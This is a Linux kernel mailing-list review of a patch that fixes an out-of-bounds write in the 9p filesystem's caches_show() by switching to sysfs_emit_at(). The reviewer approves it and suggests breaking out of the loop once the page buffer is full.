> fs/9p/v9fs.c | 16 +++++-----------
> 1 file changed, 5 insertions(+), 11 deletions(-)
>
> diff --git a/fs/9p/v9fs.c b/fs/9p/v9fs.c
> index acda42499ca9..0668bad681bf 100644
> --- a/fs/9p/v9fs.c
> +++ b/fs/9p/v9fs.c
> @@ -17,6 +17,7 @@
> #include <linux/fs_context.h>
> #include <linux/slab.h>
> #include <linux/seq_file.h>
> +#include <linux/sysfs.h>
> #include <net/9p/9p.h>
> #include <net/9p/client.h>
> #include <net/9p/transport.h>
> @@ -592,21 +593,14 @@ static ssize_t caches_show(struct kobject *kobj,
> struct kobj_attribute *attr,
> char *buf)
> {
> - ssize_t n = 0, count = 0, limit = PAGE_SIZE;
> + ssize_t count = 0;
> struct v9fs_session_info *v9ses;
>
> spin_lock(&v9fs_sessionlist_lock);
> list_for_each_entry(v9ses, &v9fs_sessionlist, slist) {
> - if (v9ses->cachetag) {
> - n = snprintf(buf + count, limit, "%s\n", v9ses->cachetag);
> - if (n < 0) {
> - count = n;
> - break;
> - }
> -
> - count += n;
> - limit -= n;
> - }
> + if (v9ses->cachetag)
> + count += sysfs_emit_at(buf, count, "%s\n",
> + v9ses->cachetag);
This makes sense to me, there's just a nit: looking at sysfs_emit_at()
if count is already >= PAGE_SIZE then this emits a WARN(), which can be
problematic for some people;
I think we should explicitly break if count >= PAGE_SIZE to avoid this
> }
>
> spin_unlock(&v9fs_sessionlist_lock);
--
Dominique Martinet | Asmadeus
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-09-13 13:29 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
[not found] <cover.1781908090.git.zzhan461@ucr.edu>
2026-06-20 15:53 ` [PATCH 1/1] 9p: fix caches_show() out-of-bounds write Ren Wei
2026-09-13 13:29 ` Dominique Martinet
2026-06-20 22:16 ` [PATCH 0/1] 9p: " Dominique Martinet
2026-06-23 16:19 ` Yuan Tan
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox